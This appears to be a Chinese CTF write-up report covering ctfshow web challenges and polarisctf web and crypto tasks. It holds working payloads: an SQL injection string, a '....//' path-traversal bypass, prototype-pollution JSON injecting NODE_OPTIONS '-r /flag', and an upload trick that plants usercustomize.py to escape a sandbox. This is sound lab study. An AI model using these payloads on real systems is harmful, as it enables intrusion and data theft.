周报--2

ctfshow

web21

爆破得到flag

web22

域名爆破,爆破ctfshow的子域名

用一个在线子域名查询工具vip

https://uutool.cn/subdomain/

网上就是vip这个界面,鼠标在标签页悬停就会出现flag但是现在应该是环境出了问题没得了,不过这个网站还是好用的,但是我看有的wp用的Layer子域名挖掘机https://eclecticism.blog.csdn.net/article/details/135940447?fromshare=blogdetail&sharetype=blogdetail&sharerId=135940447&sharerefer=PC&sharesource=2401_88743143&sharefrom=from_link

用的这个,也能爆出来的

web23

复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-03 11:43:51
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-03 11:56:11
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);

include('flag.php');
if(isset($_GET['token'])){
    $token = md5($_GET['token']);
    if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
        if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
            echo $flag;
        }
    }
}else{
    highlight_file(__FILE__);

}
?>

get传一个token,然后对这个token进行md5加密

substr(string, start, length)

然后

条件一:token加密后的第2,15,18字符强相等

条件二:三位相加除以第二位与第32位强相等

这里要注意一下intval将数字转成整数,将字母一律看作0,注意intval(0/0)的时候会输出NAN

最好的办法是写个脚本遍历一下,我看了一下最简单的是写个php脚本

复制代码
<?php
for($i=0; $i<10000; $i++){
    $token = md5($i);
    if(substr($token,1,1) === substr($token,14,1) && substr($token,14,1) === substr($token,17,1)){
        if((intval(substr($token,1,1)) + intval(substr($token,14,1)) + substr($token,17,1)) / substr($token,1,1) == intval(substr($token,31,1))){
            echo 'token=' . $i . ' md5=' . $token;
        }
    }
}
?>

直接加个循环逻辑和输出就行

得到token然后传参得到flag

嗯看了一下提示的脚本更麻烦一些

web24

这道题目考的最简单的随机种子

复制代码
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
    $r = $_GET['r'];
    mt_srand(372619038);
    if(intval($r)===intval(mt_rand())){
        echo $flag;
    }
}else{
    highlight_file(__FILE__);
    echo system('cat /proc/version');
}

?>

这道题的大致逻辑是这个随机种子生成的数与你传入的参数相等,就能输出flag,又因为在随机种子确定的情况下,输出序列相等

所以传入这个种子第一次生成的随机数就可以爆破出来的

好呢既然都做到了简单总结一下随机种子吧

其实主要涉及两个函数mt_srand和mt_rand两个函数,一个是生成随机种子,一个是生成随机数,

如果考察的话一般有两种形式,一种是确定随机种子,比如mt_srand(115488)在种子确定的情况下,随机数生成的序列也相。另一种是随机数已知,因为只有第一次生成随机数才会调用mt_srand()函数,已知第一个随机数就可以倒退随机种子(有一个问题就是不同版本的php生成的随机序列可能也不同),然后还有一个随机种子的工具

但是这个只有1-2两个参数能跑的出来,但他已经是最新版的了

web25

这个也是随机种子

复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-03 13:56:57
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-03 15:47:33
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
    $r = $_GET['r'];
    mt_srand(hexdec(substr(md5($flag), 0,8)));
    $rand = intval($r)-intval(mt_rand());
    if((!$rand)){
        if($_COOKIE['token']==(mt_rand()+mt_rand())){
            echo $flag;
        }
    }else{
        echo $rand;
    }
}else{
    highlight_file(__FILE__);
    echo system('cat /proc/version');
} 

这个就叫上一题复杂

这段代码的意思大概是取flag md5加密的前八位,转成十进制作为种子

!$rand

在 PHP 中,以下值被认为是假:

  • 0(整数零)
  • 0.0(浮点零)
  • ""(空字符串)
  • "0"(字符串零)
  • null
  • false
  • [](空数组)

所以让$rand=0即让r=mt_rand(No.1),这是条件一,条件二是token=mt_rand(No.2)+mt_rand(No.3)

一开始反推种子得到四个

然后运行这个脚本来验证哪个种子能生成对应的第一个随机数,并生成对应的token

复制代码
<?php
$target = 1778346834;
$seeds = [2754897542, 2754897543, 1857310316, 3422730783];

foreach ($seeds as $seed) {
    mt_srand($seed);
    $r1 = mt_rand();           // 第1次,匹配用
    
    if ($r1 == $target) {
        echo "seed: $seed ✓ 匹配!";
        
        $r2 = mt_rand();       // 第2次,token 第一部分
        $r3 = mt_rand();       // 第3次,token 第二部分
        $token = $r2 + $r3;
        
        echo " token = $token\n";
    }
}
复制代码
curl -v -b "token=2696463300" "https://f86dc8d3-caae-4a81-b28d-0d8fb87b3852.challenge.ctf.show/?r=1778346834"

或者curl一下发现是php7.3,因此可以选出两个来18573103163422730783

用kali里面的还要下载,我直接用在线沙盒子运行计算正确的token值,其实前面已经得到了,和上面得到的一样

复制代码
<?php
mt_srand(1857310316);
mt_rand();
echo "token1: " . (mt_rand() + mt_rand()) . "\n";

mt_srand(3422730783);
mt_rand();
echo "token2: " . (mt_rand() + mt_rand()) . "\n";

就显示两个token值,然后分别进行curl测试得到flag

复制代码
curl -v -b "token=2586953677" "https://f86dc8d3-caae-4a81-b28d-0d8fb87b3852.challenge.ctf.show/?r=1778346834"

web26

抓个包看看呢,直接爆破密码就行,但是他没给密码直接爆破很麻烦,我直接看了答案爆破

得到flag

polarisctf-wp

ECC

题目分析

题目实现了一个自定义的椭圆曲线加密系统,给出了曲线参数 a,b,c,d,e、生成元 G 和点 P = m*G,要求求出标量 m(即 flag)。

从代码中可以看出,曲线方程为:

text

y² + a*x*y + c*y = x³ + b*x² + d*x + e

其中 a = 0,简化了曲线形式。

解题步骤

1. 发现曲线奇异

首先尝试用 SageMath 定义曲线,发现曲线判别式为 0,说明曲线是奇异的(singular curve)。这意味着不能使用标准椭圆曲线的离散对数求解方法,但可以利用奇点的性质将问题转化为有限域上的离散对数问题。

2. 找到奇点

奇点满足偏导数为 0:

python

∂F/∂x = 0, ∂F/∂y = 0

解得:

  • ∂F/∂y = 2y + c = 0 得到 y0 = -c * inv(2) mod p
  • 代入曲线方程求解 x,得到唯一的奇点 (x0, y0)
3. 分析奇点类型

将奇点平移到原点:u = x - x0, v = y - y0,展开曲线方程,观察二次项系数:

text

复制代码
u²: 0
uv: 0
v²: 1

二次型为 v² = 0,判别式为 0,说明是 Cusp(尖点) 类型。

4. 构造同构映射

对于 cusp 型奇异曲线,群同构于加法群 (F_p, +)。通过参数化找到映射:

  • 曲线在奇点附近的行为类似于 v² = u³ 的形式
  • 正确的映射是 t = u / v(当 v ≠ 0)
  • 映射将曲线上的点 (x,y) 映射到 t = (x - x0) / (y - y0) mod p
5. 求解离散对数

在加法群中,点乘 m*G = P 转化为:

text

t_P = m * t_G (mod p)

因此:

text

m = t_P * (t_G)⁻¹ mod p

直接计算即可得到 m

6. 获取 Flag

m 转换为字节串,得到 flag:

text

xmctf{A_s1ngu14r_Curv3_15_n0t_s3cur3!}

完整解题代码

python

复制代码
from Crypto.Util.number import *
from sage.all import *

# 已知参数
p = 9259018534502783714631247560818133078409930397939705162361230465031580254504264713899169170790687716589100652406132800533397486109926387016562663961524649
a = 0
b = 6235467631650349040636525320446729529985562949423449382969614887116983248527693872546808737512375916974084741892428681798937790855872528526403738040908493
c = 4165903654767429195543540819098180314477702137507994424192636596518008877139978822038616746899053449640020812062736993008962585578921635697413459959685760
d = 1889382340373247565387211782596794283852946561870564309251998196824383297786878212641581641540685106266683503654620956037368416192796434147249748216284648
e = 3015564788819504594313842562882781366361783108618226049128986996153057550014499326419988348165744003693083108924831219996703133056523468396967900376388617

# 已知点
G = (1244884551970947614719458919805713649754289814760243366205012699871413235954279930743612403791919112394457579170253990713250052822262255880036254772609156,
     4579639528751113977115209571728128585569082149696598770106934145500742785077382446292613925719404433141749168427443122707253164477493499731016883616496009)

P = (9039120379228240875764080238389949393433230267005269099421166553853462484353350917730468887801035670710981414900285176863179650428412616144755102163764906,
     6266065680737729548475090556806928225106996606788926050268440244885398464756877886842570309216095272026404453765198968208595242208306240371310555394416694)

F = GF(p)

# 定义曲线方程
R.<x,y> = F[]
curve_eq = y^2 + a*x*y + c*y - (x^3 + b*x^2 + d*x + e)

# 找奇点
fx = diff(curve_eq, x)
fy = diff(curve_eq, y)

# 从 fy = 0 求 y0
y0 = -c * inverse_mod(2, p) % p

# 代入求 x0
x_poly = curve_eq(y=y0)
x_roots = x_poly.univariate_polynomial().roots(multiplicities=False)

for x_val in x_roots:
    if fx(x=x_val, y=y0) == 0:
        x0 = x_val
        break

print(f"奇点: ({x0}, {y0})")

# 构造映射:对于 cusp 类型,t = u/v = (x-x0)/(y-y0)
def map_to_add(point):
    x, y = point
    u = (x - x0) % p
    v = (y - y0) % p
    if v == 0:
        return None
    return (u * pow(v, -1, p)) % p

# 映射 G 和 P
t_G = map_to_add(G)
t_P = map_to_add(P)

print(f"t_G = {t_G}")
print(f"t_P = {t_P}")

# 在加法群中求解:t_P = m * t_G (mod p)
if t_G is not None and t_G != 0:
    m = (t_P * pow(t_G, -1, p)) % p
    print(f"\nm = {m}")

    # 转换为 flag
    flag_bytes = long_to_bytes(int(m))
    print(f"Flag: {flag_bytes.decode('utf-8')}")

题目分析

题目给出了一个 RSA 加密系统,但增加了一个特殊的多项式约束:

python

复制代码
def get_poly(k):
    x,a,b = sympy.symbols('x a b')
    poly = x**3 - a * x**2 + b * x - c - k*n
    deriv1 = sympy.diff(poly, x)
    
    a1 = random.randint(2**119,2**120)
    b1 = random.randint(2**119,2**120)
    x1 = random.randint(2**510,2**511)
    
    deriv1_num = deriv1.subs({
        x: x1,
        a: a1,
        b: b1
    })
    return x1,deriv1_num

已知参数:

  • n:RSA 模数
  • x1:随机的大整数
  • deriv1_num:多项式在 (x1, a1, b1) 处的导数值
  • cipher:加密后的 flag

需要求解的是 c(RSA 中的秘密指数相关参数),然后用它解密得到 flag。

神秘学

解题思路

1. 建立方程

设多项式:

P(x)=x3−ax2+bx−c−knP(x)=x3−ax2+bx−c−kn

其导数为:

P′(x)=3x2−2ax+bP′(x)=3x2−2ax+b

已知在 (x1, a1, b1) 处:

P′(x1)=3x12−2a1x1+b1=deriv1_numP′(x1)=3x12−2a1x1+b1=deriv1_num

令:

R=3x12−deriv1_num=2a1x1−b1(1)R=3x12−deriv1_num=2a1x1−b1(1)

同时,虽然题目没有直接给出 P(x1) 的值,但我们可以假设 P(x1) = 0(这是合理的,因为 a1, b1 是随机选取的,x1 是多项式的根)。于是:

x13−a1x12+b1x1−c−kn=0(2)x13−a1x12+b1x1−c−kn=0(2)

2. 消元求解

由 (1) 得:

b1=2a1x1−Rb1=2a1x1−R

代入 (2):

x13−a1x12+(2a1x1−R)x1−c−kn=0x13−a1x12+(2a1x1−R)x1−c−kn=0x13−a1x12+2a1x12−Rx1−c−kn=0x13−a1x12+2a1x12−Rx1−c−kn=0x13+a1x12−Rx1−c−kn=0x13+a1x12−Rx1−c−kn=0

因此:

c=x13+a1x12−Rx1−kn(3)c=x13+a1x12−Rx1−kn(3)

3. 利用范围约束

已知 a1b1 都在 [2^{119}, 2^{120}] 范围内。

由 (1) 得:

b1=2a1x1−Rb1=2a1x1−R

b1 的范围给出:

2119≤2a1x1−R≤21202119≤2a1x1−R≤2120

解得:

2119+R2x1≤a1≤2120+R2x12x12119+R≤a1≤2x12120+R

同时 a1 本身也在 [2^{119}, 2^{120}] 范围内,取交集得到 a1 的搜索范围。

4. 枚举 k

k 是 8 位素数,只有有限个可能值(2-251 之间的素数)。对于每个可能的 k

  1. 计算 R = 3x1^2 - deriv1_num
  2. 根据 b1 的范围计算 a1 的候选范围
  3. 由于 x1 非常大(约 511 位),2x1 也很大,因此 a1 的范围实际上非常窄(通常只有几个整数值)
  4. 对每个候选 a1,用公式 (3) 计算 c
  5. c 作为解密指数尝试解密:m = pow(cipher, c, n)
  6. 检查解密结果是否包含 flag 标识

5. 关键观察

在 RSA 中,由于 e = inverse(c, φ),所以解密指数 d ≡ c (mod φ)。如果 c < φ(通常成立),那么 d = c,可以直接用 c 解密。

解题脚本

python

复制代码
from Crypto.Util.number import *
import sympy

# 给定的数据
n = 63407394080105297388278430339692150920405158535377818019441803333853224630295862056336407010055412087494487003367799443217769754070745006473326062662322624498633283896600769211094059989665020951007831936771352988585565884180663310304029530702695576386164726400928158921458173971287469220518032325956366276127
x1 = 3481408902400626584294863390184557833125008467348169645656825368985677578418186933223051810792813745190000132321911937970968840332589150965113386330575858
deriv1_num = 36360623837143006554133449776905822223850034204333042340303731846698251185379183585401025894584873826284649058526470710038176516677326058549625930550928515944115160614909195746688504416967586844354012895944251800672195553936202084073217078119494546421088598245791873936703883718926122761577400400368341859847
cipher = 17359360992646515022812225990358117265652240629363564764503325024700251560440679272576574598620940996876220276588413345495658258508097150181947839726337961689195064024953824539654084620226127592330054674517861032601638881355220119605821814412919221685287567648072575917662044603845424779210032794782725398473

# 计算 R
R = 3 * x1 * x1 - deriv1_num

# 获取 8 位素数
def is_prime(n):
    if n < 2:
        return False
    for i in range(2, int(n**0.5) + 1):
        if n % i == 0:
            return False
    return True

primes_8bit = [i for i in range(2, 256) if is_prime(i)]

print("开始搜索...")

found = False
for k in primes_8bit:
    # 根据 b1 范围计算 a1 的范围
    b1_min = 2**119
    b1_max = 2**120
    
    a1_min_from_b1 = (b1_min + R) // (2 * x1)
    a1_max_from_b1 = (b1_max + R) // (2 * x1)
    
    # a1 本身的范围
    a1_abs_min = 2**119
    a1_abs_max = 2**120
    
    # 取交集
    search_min = max(a1_min_from_b1, a1_abs_min)
    search_max = min(a1_max_from_b1, a1_abs_max)
    
    # 由于 x1 很大,范围通常只有几个整数
    for a1 in range(search_min, search_max + 1):
        # 计算 b1 验证
        b1 = 2 * a1 * x1 - R
        if b1 < b1_min or b1 > b1_max:
            continue
        
        # 计算 c
        c_val = x1**3 + a1 * x1**2 - R * x1 - k * n
        
        if c_val <= 0:
            continue
        
        # 尝试解密
        try:
            m = pow(cipher, c_val, n)
            flag = long_to_bytes(m)
            
            # 检查是否为 flag
            if b'flag' in flag or b'CTF' in flag:
                print(f"\n成功!k = {k}")
                print(f"a1 = {a1}")
                print(f"b1 = {b1}")
                print(f"c = {c_val}")
                print(f"flag: {flag.decode()}")
                found = True
                break
        except:
            continue
    
    if found:
        break

if not found:
    print("未找到 flag")

Ez_Python

漏洞点 :该函数递归合并用户输入的 JSON 数据到目标对象,但没有对键名进行过滤,允许设置任意属性。

危险路由 /read

复制代码
@app.route('/read') 
def read(): 
    return open(instance.config.
    filename).read()

读取 instance.config.filename 指定的文件,如果能控制这个属性,就能读取任意文件。

  1. 攻击链

用户输入 JSON → merge() 污染属性 → 修改 filename → /read 读取任意文件

only real

信息泄露 :在首页HTML源码中发现注释泄露了登录凭据:

```

<!-- xmuser/123456 -->

```

  • 登录系统 :使用凭据 xmuser/123456 登录 login.php

  • 获取JWT Token :登录成功后获得JWT cookie:

```

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXV

CJ9.

eyJzdWIiOiIxIiwicm9sZSI6InVzZXIiL

CJleHAiOjE3NzQ3Mjc3MjR9.

1bk2GNll05r0ezVt746c7hGFdjYzVLV5G

P697S92rCk

```

  • 访问flag页面 :登录后访问 flag.php 直接获得flag

ezpollute

攻击链:

  1. 原型链污染绕过 :代码过滤了 proto ,但可以通过 constructor.prototype 绕过

  2. NODE_OPTIONS注入 :

  • 代码过滤了 --require 、 --import 等关键词

  • 但 没有过滤 -r ( --require 的简写形式)

  1. 利用过程 :

```

{"constructor":{"prototype":

{"NODE_OPTIONS":"-r /flag"}}}

```

  1. 触发执行 :访问 /api/status 时, for...in 遍历 process.env 会遍历到原型链上污染的 NODE_OPTIONS ,子进程尝试 require('/flag') 导致flag内容在错误信息中泄露

关键点:

  • -r 是 --require 的简写,绕过了正则过滤 --(require|import|...)

  • /flag 文件被当作JS模块加载,因语法错误在报错信息中暴露了flag内容

AutoPypy

1. 漏洞类型:路径遍历 + Python 自动加载机制

2. 攻击链:

```

上传恶意文件 → 路径遍历到

site-packages → server.py 启动新

Python 进程 → 自动加载 usercustomize.

py → 在宿主机执行代码 → 绕过 proot 沙箱

```

3. 关键点:

组件 问题 server.py:26-28 文件名未过滤,允许 ../ 路径遍历 server.py:43 打印 site.getsitepackages() 作为提示 Python 机制 启动时自动加载 site-packages/usercustomize.py proot 沙箱 只限制用户代码,无法限制宿主机的 Python 进程

4. 攻击原理:

server.py 执行 subprocess.run([sys.executable, launcher_path, ...]) 时,会在 宿主机 上启动一个新的 Python 解释器。这个 Python 解释器会自动加载 site-packages/usercustomize.py ,而这个文件已经被我们通过路径遍历上传了恶意代码。

恶意代码在宿主机执行,完全绕过了 proot 沙箱,可以读取 /flag 文件。

Broken Trust

这道题目包含两个关键漏洞:

  1. SQL注入漏洞

在 /api/profile 接口中, uid 参数存在SQL注入漏洞。通过发送:

```

{"uid": "' OR '1'='1"}

```

可以获取到admin用户的信息,包括其UID: 5c3a88831c09410a87403815a4f57504

  1. 路径遍历漏洞

在 /api/admin?action=backup&file= 接口中存在路径遍历漏洞。虽然系统过滤了 ../ 和绝对路径,但可以使用 ....// 绕过过滤:

  • ....// 会被处理成 ../ (先去掉 ../ 后剩余 ../ )

  • 最终payload: ....//....//....//flag

完整攻击流程

  1. 注册普通用户获取UID

  2. 利用SQL注入获取admin的UID

  3. 使用admin UID登录获得管理员权限

  4. 利用路径遍历漏洞读取flag文件

相关推荐
marsh02062 小时前
23 openclaw防止SQL注入:参数化查询与ORM安全使用
数据库·sql·安全·ai·编程·技术
原来是猿2 小时前
为什么要配置环境变量?
linux·数据库·python
星辰_mya2 小时前
MVCC 与事务隔离:MySQL 如何实现“读不阻塞写”?
java·数据库·mysql·面试·架构
m0_738120722 小时前
渗透测试——Ripper靶机详细横向渗透过程(rips扫描文件,水平横向越权,Webmin直接获取root权限)
linux·网络·数据库·安全·web安全·php
大能嘚吧嘚2 小时前
Redis客户端框架-Redisson
数据库·redis·缓存
zhangren024682 小时前
Laravel9.x核心特性全解析
android
神龙斗士2402 小时前
MySQL在Navicat中 库的操作 表的操作
数据库·mysql
攒了一袋星辰2 小时前
10万级用户数据日更与定向推送系统的可靠性设计
java·数据库·算法
弘毅 失败的 mian2 小时前
嵌入式系统观
数据库·经验分享·笔记·物联网·嵌入式